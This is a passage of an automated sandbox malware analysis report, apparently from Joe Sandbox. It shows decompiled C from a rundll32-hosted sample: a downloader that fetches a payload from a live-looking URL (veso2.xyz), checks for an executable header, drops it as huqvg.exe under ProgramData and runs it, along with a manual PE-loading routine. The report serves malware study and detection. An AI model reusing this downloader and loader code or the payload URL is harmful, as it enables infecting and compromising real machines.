				signed char* _v76;
				char _v80;
				char _v84;
				signed char* _t28;
				signed char* _t30;
				void* _t34;
				signed char* _t46;
				signed int _t71;
				void* _t72;
				void* _t75;
				void* _t76;
				void* _t80;

				_t80 = __eflags;
				_v8 =  *0x4853004 ^ _t71;
				memcpy( &_v36, "http://veso2.xyz/campo/r/r1", 7 << 2);
				memcpy( &_v68, "C:\\ProgramData\\huqvg\\huqvg.exe", 7 << 2);
				asm("movsw");
				asm("movsb");
				_t28 = E04851640(_t80,  &_v36,  &_v84, 1); // executed
				_t75 = _t72 + 0x24;
				_v72 = _t28;
				_t46 = _v72;
				_t81 = ( *_t46 & 0x000000ff) - 0x68;
				if(( *_t46 & 0x000000ff) != 0x68) {
					 *0x4853008(_v72);
					 *0x4853020(1);
					_t75 = _t75 + 8;
				}
				_t30 = E04851640(_t81, _v72,  &_v80, 1);
				_t76 = _t75 + 0xc;
				_v76 = _t30;
				if(( *_v76 & 0x000000ff) == 0x4d) {
					E04851350(_v76, _v80,  &_v68);
					_t76 = _t76 + 0xc;
					Sleep(0x3a98);
					E048512B0();
				}
				 *0x4853008(_v76);
				_t34 =  *0x4853008(_v72);
				E04851A04();
				return _t34;
			}

0x048510b0
0x048510bd
0x048510cf
0x048510de
0x048510e0
0x048510e2
0x048510ed
0x048510f2
0x048510f5
0x04851100
0x04851107
0x0485110a
0x04851110
0x0485111b
0x04851121
0x04851121
0x0485112e
0x04851133
0x04851136
0x0485114b
0x04851159
0x0485115e
0x04851166
0x0485116c
0x0485116c
0x04851175
0x04851182
0x04851192
0x0485119a

APIs

Part of subcall function 04851640: wsprintfA.USER32 ref: 0485173A
Part of subcall function 04851640: WSAStartup.WS2_32(00000102,?), ref: 0485174F

Sleep.KERNEL32(00003A98), ref: 04851166

Strings

http://veso2.xyz/campo/r/r1, xrefs: 048510C7
C:\ProgramData\huqvg\huqvg.exe, xrefs: 048510D6

Memory Dump Source

Source File: 00000003.00000002.665004317.0000000004851000.00000020.00000001.sdmp, Offset: 04850000, based on PE: true

Associated: 00000003.00000002.664819390.0000000004850000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.666866498.0000000004852000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4850000_rundll32.jbxd

Similarity

API ID: SleepStartupwsprintf
String ID: C:\ProgramData\huqvg\huqvg.exe$http://veso2.xyz/campo/r/r1
API String ID: 1691369139-3004619249
Opcode ID: bf388f5049971250ffce3d3b65ffffd6f77e49ffecd0e8f688ebe6c266d487bc
Instruction ID: c7cb1bcf4c4d8790c7a622474b088f577ee39001a01e1241af0f0d9b85ead81e
Opcode Fuzzy Hash: bf388f5049971250ffce3d3b65ffffd6f77e49ffecd0e8f688ebe6c266d487bc
Instruction Fuzzy Hash: 8D21C771E002049BDF04EBE8D845ADFBBB9EF44304F140568E905EB241DA79BD15CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04851040, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04851040() {
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _t12;
				char _t13;
				int _t15;
				void* _t16;
				char _t17;
				intOrPtr _t18;
				char _t21;
				char _t22;
				signed int _t23;

				_v8 =  *0x4853004 ^ _t23;
				_t12 = "C:\\ProgramData\\huqvg"; // 0x505c3a43
				_v32 = _t12;
				_t17 = "rogramData\\huqvg"; // 0x72676f72
				_v28 = _t17;
				_t21 = "amData\\huqvg"; // 0x61446d61
				_v24 = _t21;
				_t13 = "ta\\huqvg"; // 0x685c6174
				_v20 = _t13;
				_t18 =  *0x4852110; // 0x67767175
				_v16 = _t18;
				_t22 =  *0x4852114; // 0x0
				_v12 = _t22;
				_t15 = CreateDirectoryA( &_v32, 0); // executed
				if(_t15 == 0) {
					_t16 = 0;
				} else {
					_t16 = 1;
				}
				E04851A04();
				return _t16;
			}

0x0485104d
0x04851050
0x04851055
0x04851058
0x0485105e
0x04851061
0x04851067
0x0485106a
0x0485106f
0x04851072
0x04851078
0x0485107b
0x04851081
0x0485108a
0x04851092
0x04851098
0x04851094
0x04851094
0x04851094
0x0485109f
0x048510a7

APIs

CreateDirectoryA.KERNELBASE(?,00000000,?,?,?,?,?,?,048512A3), ref: 0485108A

Strings

C:\ProgramData\huqvg, xrefs: 04851050

Memory Dump Source

Source File: 00000003.00000002.665004317.0000000004851000.00000020.00000001.sdmp, Offset: 04850000, based on PE: true

Associated: 00000003.00000002.664819390.0000000004850000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.666866498.0000000004852000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4850000_rundll32.jbxd

Similarity

API ID: CreateDirectory
String ID: C:\ProgramData\huqvg
API String ID: 4241100979-3793086718
Opcode ID: 65b275c4da335384316a47013434867cc923b1f702c6a625e2a96d6f272ab1d9
Instruction ID: 6803149813c8c04248061d1367b01acbc1052264027a175a7ea4f2ad14ca74ee
Opcode Fuzzy Hash: 65b275c4da335384316a47013434867cc923b1f702c6a625e2a96d6f272ab1d9
Instruction Fuzzy Hash: CF011974E443489FCB04EFA8E5816AEBBF8FB19200B404999D905D3340DA386E04CF51

Uniqueness

Uniqueness Score: -1.00%

Function 011B1460, Relevance: 3.1, APIs: 2, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E011B1460(intOrPtr __ecx, intOrPtr* _a4, void** _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				long _v40;
				int _t74;

				_v36 = __ecx;
				if(_a8[2] != 0) {
					if((_a8[3] & 0x02000000) == 0) {
						if((_a8[3] & 0x20000000) == 0) {
							_v12 = 0;
						} else {
							_v12 = 1;
						}
						_v24 = _v12;
						if((_a8[3] & 0x40000000) == 0) {
							_v16 = 0;
						} else {
							_v16 = 1;
						}
						_v28 = _v16;
						if((_a8[3] & 0x80000000) == 0) {
							_v20 = 0;
						} else {
							_v20 = 1;
						}
						_v32 = _v20;
						_t48 = _v28 * 8; // 0x2367118
						_v8 =  *((intOrPtr*)((_v24 << 4) + _t48 + 0x11b5a00 + _v32 * 4));
						if((_a8[3] & 0x04000000) != 0) {
							_v8 = _v8 | 0x00000200;
						}
						_t74 = VirtualProtect( *_a8, _a8[2], _v8,  &_v40); // executed
						if(_t74 != 0) {
							return 1;
						} else {
							return 0;
						}
					}
					if( *_a8 != _a8[1]) {
						L8:
						return 1;
					}
					if(_a8[4] != 0) {
						L7:
						VirtualFree( *_a8, _a8[2], 0x4000); // executed
						goto L8;
					}
					_t14 = _a4 + 0x30; // 0x0
					if( *((intOrPtr*)( *_a4 + 0x38)) ==  *_t14 || _a8[2] %  *(_a4 + 0x30) == 0) {
						goto L7;
					} else {
						goto L8;
					}
				}
				return 1;
			}

0x011b1466
0x011b1470
0x011b1488
0x011b14f0
0x011b14fb
0x011b14f2
0x011b14f2
0x011b14f2
0x011b1505
0x011b1514
0x011b151f
0x011b1516
0x011b1516
0x011b1516
0x011b1529
0x011b1538
0x011b1543
0x011b153a
0x011b153a
0x011b153a
0x011b154d
0x011b1559
0x011b1566
0x011b1574
0x011b157f
0x011b157f
0x011b1597
0x011b159f
0x00000000
0x011b15a1
0x00000000
0x011b15a1
0x011b159f
0x011b1495
0x011b14da
0x00000000
0x011b14da
0x011b149e
0x011b14c2
0x011b14d4
0x00000000
0x011b14d4
0x011b14ab
0x011b14ae
0x00000000
0x00000000
0x00000000
0x00000000
0x011b14ae
0x00000000

APIs

VirtualFree.KERNELBASE(?,00000000,00004000,?,?,?,?,011B1718,011B4000,?,011B4000,00000000), ref: 011B14D4

Memory Dump Source

Source File: 00000003.00000002.662633575.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 00000003.00000002.662614711.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.662646662.00000000011B3000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.662686050.00000000011B4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 29690a2f6783a37834d35bfa42268a8fb08ac511f6875dc0146937865ac7924b
Instruction ID: 9b641ea556f4da83bbef9cf42aad9d75ae7401fc32d1075d0ea037e45d856bb6
Opcode Fuzzy Hash: 29690a2f6783a37834d35bfa42268a8fb08ac511f6875dc0146937865ac7924b
Instruction Fuzzy Hash: A141C675A10209AFDB18CF48D4E4BEAB7B2FB88314F15C159E81A5B355C775EA81CB80

Uniqueness

Uniqueness Score: -1.00%

Function 011B12A0, Relevance: 2.6, APIs: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E011B12A0(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				void* _t76;
				void* _t127;

				_v28 = __ecx;
				_t3 = _a16 + 4; // 0xf5e9
				_v16 =  *_t3;
				_t7 =  *_a16 + 0x14; // 0x508bf84d
				_t9 = ( *_t7 & 0x0000ffff) + 0x18; // 0x11b1e76
				_v8 =  *_a16 + _t9;
				_v20 = 0;
				while(1) {
					_t17 =  *_a16 + 6; // 0xe9000000
					if(_v20 >= ( *_t17 & 0x0000ffff)) {
						break;
					}
					if( *(_v8 + 0x10) != 0) {
						if(E011B1270(_v28, _a8,  *((intOrPtr*)(_v8 + 0x14)) +  *(_v8 + 0x10)) != 0) {
							_t76 = VirtualAlloc(_v16 +  *((intOrPtr*)(_v8 + 0xc)),  *(_v8 + 0x10), 0x1000, 4); // executed
							_v12 = _t76;
							if(_v12 != 0) {
								_v12 = _v16 +  *((intOrPtr*)(_v8 + 0xc));
								E011B10D0(_v12, _a4 +  *((intOrPtr*)(_v8 + 0x14)),  *(_v8 + 0x10));
								_t127 = _t127 + 0xc;
								 *((intOrPtr*)(_v8 + 8)) = _v12;
								L1:
								_v20 = _v20 + 1;
								_v8 = _v8 + 0x28;
								continue;
							}
							return 0;
						}
						return 0;
					}
					_v24 =  *((intOrPtr*)(_a12 + 0x38));
					if(_v24 <= 0) {
						L8:
						goto L1;
					}
					_v12 = VirtualAlloc(_v16 +  *((intOrPtr*)(_v8 + 0xc)), _v24, 0x1000, 4);
					if(_v12 != 0) {
						_v12 = _v16 +  *((intOrPtr*)(_v8 + 0xc));
						 *((intOrPtr*)(_v8 + 8)) = _v12;
						E011B1080(_v12, 0, _v24);
						_t127 = _t127 + 0xc;
						goto L8;
					}
					return 0;
				}
				return 1;
			}

0x011b12a6
0x011b12ac
0x011b12af
0x011b12bc
0x011b12c0
0x011b12c4
0x011b12c7
0x011b12e2
0x011b12e7
0x011b12ee
0x00000000
0x00000000
0x011b12fb
0x011b137e
0x011b139c
0x011b13a2
0x011b13a9
0x011b13b8
0x011b13d0
0x011b13d5
0x011b13de
0x011b12d0
0x011b12d6
0x011b12df
0x00000000
0x011b12df
0x00000000
0x011b13ab
0x00000000
0x011b1380
0x011b1303
0x011b130a
0x011b135e
0x00000000
0x011b135e
0x011b1327
0x011b132e
0x011b1340
0x011b1349
0x011b1356
0x011b135b
0x00000000
0x011b135b
0x00000000
0x011b1330
0x00000000

APIs

VirtualAlloc.KERNEL32(?,00000000,00001000,00000004), ref: 011B1321
VirtualAlloc.KERNELBASE(?,?,00001000,00000004,00000000,?,?,011B1E5E), ref: 011B139C

Memory Dump Source

Source File: 00000003.00000002.662633575.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 00000003.00000002.662614711.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.662646662.00000000011B3000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.662686050.00000000011B4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 28c10e09472410354f1c5860107c1bb7ad875c6b55124b1133804efb258c604e
Instruction ID: b104c0b7af9c6dd123f0819220d01eb4938e9eee746e3257a2a097b75d44b8bd
Opcode Fuzzy Hash: 28c10e09472410354f1c5860107c1bb7ad875c6b55124b1133804efb258c604e
Instruction Fuzzy Hash: 6951C575A04209EFCB08CF98D5D0AAEB7B1FF48314F218598E905AB355D370EE91CB95

Uniqueness

Uniqueness Score: -1.00%

Function 011B190D, Relevance: 2.5, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E011B190D() {
				intOrPtr _t95;
				intOrPtr _t99;
				intOrPtr _t102;
				intOrPtr _t118;
				intOrPtr _t123;
				void* _t179;
				void* _t181;
				void* _t183;
				void* _t184;

				L0:
				while(1) {
					L0:
					 *(_t179 - 4) =  *(_t179 - 4) + 0x14;
					if(IsBadReadPtr( *(_t179 - 4), 0x14) != 0 ||  *((intOrPtr*)( *(_t179 - 4) + 0xc)) == 0) {
						break;
					}
					L3:
					_t7 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
					_t12 =  *((intOrPtr*)(_t179 + 8)) + 0x1c; // 0x0, executed
					_t99 =  *((intOrPtr*)( *_t12))( *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0xc)),  *_t7); // executed
					_t183 = _t181 + 8;
					 *((intOrPtr*)(_t179 - 0x14)) = _t99;
					if( *((intOrPtr*)(_t179 - 0x14)) != 0) {
						L5:
						_t17 =  *((intOrPtr*)(_t179 + 8)) + 0xc; // 0xffff
						_t21 =  *((intOrPtr*)(_t179 + 8)) + 8; // 0x4
						_t102 = E011B1170( *_t21, 4 +  *_t17 * 4); // executed
						_t184 = _t183 + 8;
						 *((intOrPtr*)(_t179 - 0x20)) = _t102;
						if( *((intOrPtr*)(_t179 - 0x20)) != 0) {
							L7:
							 *((intOrPtr*)( *((intOrPtr*)(_t179 + 8)) + 8)) =  *((intOrPtr*)(_t179 - 0x20));
							_t34 =  *((intOrPtr*)(_t179 + 8)) + 0xc; // 0xffff
							_t36 =  *((intOrPtr*)(_t179 + 8)) + 8; // 0x4
							 *((intOrPtr*)( *_t36 +  *_t34 * 4)) =  *((intOrPtr*)(_t179 - 0x14));
							_t41 =  *((intOrPtr*)(_t179 + 8)) + 0xc; // 0xffff
							 *( *((intOrPtr*)(_t179 + 8)) + 0xc) =  *_t41 + 1;
							if( *( *(_t179 - 4)) == 0) {
								 *(_t179 - 8) =  *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0x10));
								 *((intOrPtr*)(_t179 - 0x10)) =  *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0x10));
							} else {
								 *(_t179 - 8) =  *((intOrPtr*)(_t179 - 0xc)) +  *( *(_t179 - 4));
								 *((intOrPtr*)(_t179 - 0x10)) =  *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0x10));
							}
							L12:
							while( *( *(_t179 - 8)) != 0) {
								if(( *( *(_t179 - 8)) & 0x80000000) == 0) {
									 *((intOrPtr*)(_t179 - 0x24)) =  *((intOrPtr*)(_t179 - 0xc)) +  *( *(_t179 - 8));
									_t77 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
									_t81 =  *((intOrPtr*)(_t179 + 8)) + 0x20; // 0x0
									_t118 =  *((intOrPtr*)( *_t81))( *((intOrPtr*)(_t179 - 0x14)),  *((intOrPtr*)(_t179 - 0x24)) + 2,  *_t77);
									_t184 = _t184 + 0xc;
									 *((intOrPtr*)( *((intOrPtr*)(_t179 - 0x10)))) = _t118;
								} else {
									_t67 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
									_t71 =  *((intOrPtr*)(_t179 + 8)) + 0x20; // 0x0
									_t123 =  *((intOrPtr*)( *_t71))( *((intOrPtr*)(_t179 - 0x14)),  *( *(_t179 - 8)) & 0x0000ffff,  *_t67);
									_t184 = _t184 + 0xc;
									 *((intOrPtr*)( *((intOrPtr*)(_t179 - 0x10)))) = _t123;
								}
								L16:
								if( *((intOrPtr*)( *((intOrPtr*)(_t179 - 0x10)))) != 0) {
									L18:
									L11:
									 *(_t179 - 8) =  &(( *(_t179 - 8))[1]);
									 *((intOrPtr*)(_t179 - 0x10)) =  *((intOrPtr*)(_t179 - 0x10)) + 4;
									continue;
								} else {
									L17:
									 *((intOrPtr*)(_t179 - 0x18)) = 0;
								}
								break;
							}
							L19:
							if( *((intOrPtr*)(_t179 - 0x18)) != 0) {
								L21:
								continue;
							} else {
								L20:
								_t87 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
								_t90 =  *((intOrPtr*)(_t179 + 8)) + 0x24; // 0x0
								 *((intOrPtr*)( *_t90))( *((intOrPtr*)(_t179 - 0x14)),  *_t87);
								SetLastError(0x7f);
							}
						} else {
							L6:
							_t25 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
							_t28 =  *((intOrPtr*)(_t179 + 8)) + 0x24; // 0x0
							 *((intOrPtr*)( *_t28))( *((intOrPtr*)(_t179 - 0x14)),  *_t25);
							SetLastError(0xe);
							 *((intOrPtr*)(_t179 - 0x18)) = 0;
						}
					} else {
						L4:
						SetLastError(0x7e);
						 *((intOrPtr*)(_t179 - 0x18)) = 0;
					}
					break;
				}
				L22:
				_t95 =  *((intOrPtr*)(_t179 - 0x18));
				return _t95;
			}

0x011b190d
0x011b190d
0x011b190d
0x011b1913
0x011b1924
0x00000000
0x00000000
0x011b1937
0x011b193a
0x011b194b
0x011b194e
0x011b1950
0x011b1953
0x011b195a
0x011b1970
0x011b1973
0x011b1981
0x011b1985
0x011b198a
0x011b198d
0x011b1994
0x011b19c0
0x011b19c6
0x011b19cc
0x011b19d2
0x011b19d8
0x011b19de
0x011b19e7
0x011b19f0
0x011b1a14
0x011b1a20
0x011b19f2
0x011b19fa
0x011b1a06
0x011b1a06
0x00000000
0x011b1a37
0x011b1a4a
0x011b1a7d
0x011b1a83
0x011b1a95
0x011b1a98
0x011b1a9a
0x011b1aa0
0x011b1a4c
0x011b1a4f
0x011b1a66
0x011b1a69
0x011b1a6b
0x011b1a71
0x011b1a71
0x011b1aa2
0x011b1aa8
0x011b1ab3
0x011b1a25
0x011b1a2b
0x011b1a34
0x00000000
0x011b1aaa
0x011b1aaa
0x011b1aaa
0x011b1aaa
0x00000000
0x011b1aa8
0x011b1ab8
0x011b1abc
0x011b1ade
0x00000000
0x011b1abe
0x011b1abe
0x011b1ac1
0x011b1acc
0x011b1acf
0x011b1ad6
0x011b1ad6
0x011b1996
0x011b1996
0x011b1999
0x011b19a4
0x011b19a7
0x011b19ae
0x011b19b4
0x011b19b4
0x011b195c
0x011b195c
0x011b195e
0x011b1964
0x011b1964
0x00000000
0x011b195a
0x011b1ae3
0x011b1ae3
0x011b1ae9

APIs

IsBadReadPtr.KERNEL32(00000000,00000014), ref: 011B191C
SetLastError.KERNEL32(0000007E), ref: 011B195E
SetLastError.KERNEL32(0000000E), ref: 011B19AE

Memory Dump Source

Source File: 00000003.00000002.662633575.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 00000003.00000002.662614711.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.662646662.00000000011B3000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.662686050.00000000011B4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_rundll32.jbxd

Similarity

API ID: ErrorLast$Read
String ID:
API String ID: 1935436914-0
Opcode ID: da4165bacb9bd278e740ca1032047d8c07ed4ff9b8cd0d33d95c14ae5002f22c
Instruction ID: 54cfb6acd1bf6337dfeb2db97a149875da28369c9a667a441de06af87c2c3e68
Opcode Fuzzy Hash: da4165bacb9bd278e740ca1032047d8c07ed4ff9b8cd0d33d95c14ae5002f22c
Instruction Fuzzy Hash: 98011D71A00108EFDB18DFA4D585BAEB7B1FF48314F218158E905AB241C774EF90DB91

Uniqueness

Uniqueness Score: -1.00%

Function 011A1D10, Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.662490371.00000000011A1000.00000020.00000001.sdmp, Offset: 011A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11a1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eaec03bfe33be913e40b4d6c8c93c7847f10b67c1659da54f6249096d699e24
Instruction ID: 0c3518607d6ae71a9287cf0a7487b8fe6681663824503604fb436f1963bd5423
Opcode Fuzzy Hash: 5eaec03bfe33be913e40b4d6c8c93c7847f10b67c1659da54f6249096d699e24
Instruction Fuzzy Hash: 4541FC78A00109EFEB09DF48C494BAEBBB2FB88314F54C559E9195F355D771EA82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 011B1AF0, Relevance: 1.5, APIs: 1, Instructions: 15
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B1AF0(void* __ecx, CHAR* _a4) {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _t6;

				_t6 = LoadLibraryA(_a4); // executed
				_v8 = _t6;
				if(_v8 != 0) {
					return _v8;
				}
				return 0;
			}

0x011b1af8
0x011b1afe
0x011b1b05
0x00000000
0x011b1b0b
0x00000000

APIs

LoadLibraryA.KERNELBASE(?), ref: 011B1AF8

Memory Dump Source

Source File: 00000003.00000002.662633575.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 00000003.00000002.662614711.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.662646662.00000000011B3000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.662686050.00000000011B4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1bb7ffc7889322aa7283c83199a8009e4f25475c4482445f13e6aeaf3c97e6f8
Instruction ID: b57cd42f40597a63bc606970604dbfbd5123ebc641ed814a5a5fa91b2367d1be
Opcode Fuzzy Hash: 1bb7ffc7889322aa7283c83199a8009e4f25475c4482445f13e6aeaf3c97e6f8
Instruction Fuzzy Hash: 03D09E7491920CFBCB14DEA5E68859977B8EB08251F1145A4F80993200E6319A909A91

Uniqueness

Uniqueness Score: -1.00%

Function 011B1140, Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B1140(void* __ecx, long _a4) {
				void* _v8;
				void* _t5;

				_t5 = VirtualAlloc(0, _a4, 0x3000, 4); // executed
				_v8 = _t5;
				return _v8;
			}

0x011b1151
0x011b1157
0x011b1160

APIs

VirtualAlloc.KERNELBASE(00000000,011B11A1,00003000,00000004,00000004,?,011B11A1,?), ref: 011B1151

Memory Dump Source

Source File: 00000003.00000002.662633575.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 00000003.00000002.662614711.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.662646662.00000000011B3000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.662686050.00000000011B4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 13125dde12cde95e26db7df42fdca15dc8a8d56d36e7f1c8b324e6d67da0d987
Instruction ID: 425663991492c76840f69d1672238fb68a6ee2cfce811e9e83892b0b8100a080
Opcode Fuzzy Hash: 13125dde12cde95e26db7df42fdca15dc8a8d56d36e7f1c8b324e6d67da0d987
Instruction Fuzzy Hash: 10D0C97464520CBBE714CA84D846F69BBACEB08611F000194FE089B280D5B16E504791

Uniqueness

Uniqueness Score: -1.00%

Function 011A19F0, Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,011A1A51,00003000,00000004,000000BE,?,011A1A51,?), ref: 011A1A01

Memory Dump Source

Source File: 00000003.00000002.662490371.00000000011A1000.00000020.00000001.sdmp, Offset: 011A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11a1000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8af300f66a45cc092db8a04f4baf019053ae5a84ee445cd1114e4bb4d5df2117
Instruction ID: 31ecfcd4b12ff572d31c6bd0c8a716626774005b8e674bf7e369de8b9929488a
Opcode Fuzzy Hash: 8af300f66a45cc092db8a04f4baf019053ae5a84ee445cd1114e4bb4d5df2117
Instruction Fuzzy Hash: 92D0C9B4685208BBE714CA84D906F69BBACE704611F004195FE089B280D5B1AE4057A1

Uniqueness

Uniqueness Score: -1.00%

Function 011A1820, Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 011A182F

Memory Dump Source

Source File: 00000003.00000002.662490371.00000000011A1000.00000020.00000001.sdmp, Offset: 011A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11a1000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 344d0fefa3c7fec75bcd668203267a1e8cab9ae10a215e37755925135b7d2955
Instruction ID: 0736e211c1fc02c10101884e39eb60a24bef8ddd5788d0fc399ac8bfb5e81b09
Opcode Fuzzy Hash: 344d0fefa3c7fec75bcd668203267a1e8cab9ae10a215e37755925135b7d2955
Instruction Fuzzy Hash: 21C04C7615430CAB8B04DFD8E884DAB77ADBB8C610B448518BA2D87204D630F9508BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 10001100, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,ZwOpenSymbolicLinkObject,?,10001538), ref: 1000110B
GetProcAddress.KERNEL32(00000000), ref: 10001112

Strings

ntdll.dll, xrefs: 10001106
ZwOpenSymbolicLinkObject, xrefs: 10001101

Memory Dump Source

Source File: 00000003.00000002.668407668.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.668390582.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.668432316.0000000010002000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.668446107.0000000010003000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.668456462.0000000010004000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: ZwOpenSymbolicLinkObject$ntdll.dll
API String ID: 2574300362-2262421573
Opcode ID: b2162f11516302f4d5eca71e37eee3ebe81cc0872da632586161b8f1b77e2212
Instruction ID: bd841c76cede78a1409b9bf46fadacf407521c95edff58667da74993b579616d
Opcode Fuzzy Hash: b2162f11516302f4d5eca71e37eee3ebe81cc0872da632586161b8f1b77e2212
Instruction Fuzzy Hash: BCE05E317D433176F62063B46C8AFD62A48CB04BD2F004051F705DD0CCDA90584146A4

Uniqueness

Uniqueness Score: -1.00%

Function 0116095E, Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.662420469.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction ID: 0cda09408262def4873953c3571786d522269c13ba336bc99f64b46f3268d781
Opcode Fuzzy Hash: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction Fuzzy Hash: 87F10DB4A01209EFDB08CF94C994AAEB7B5FF8C304F108598E906AB345D775EE51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01160456, Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.662420469.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction ID: e0da16a10d727cb128dc24db98cdf74a47656ced7dec16e3925e45524e7ca01a
Opcode Fuzzy Hash: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction Fuzzy Hash: B0319136A0474A8FD724DF1CC48092AB7E8FF8D314F0A09ADFA9587312D735E9568B91

Uniqueness

Uniqueness Score: -1.00%

Function 100010E0, Relevance: .0, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100010E0(void* __ecx) {
				intOrPtr _v8;

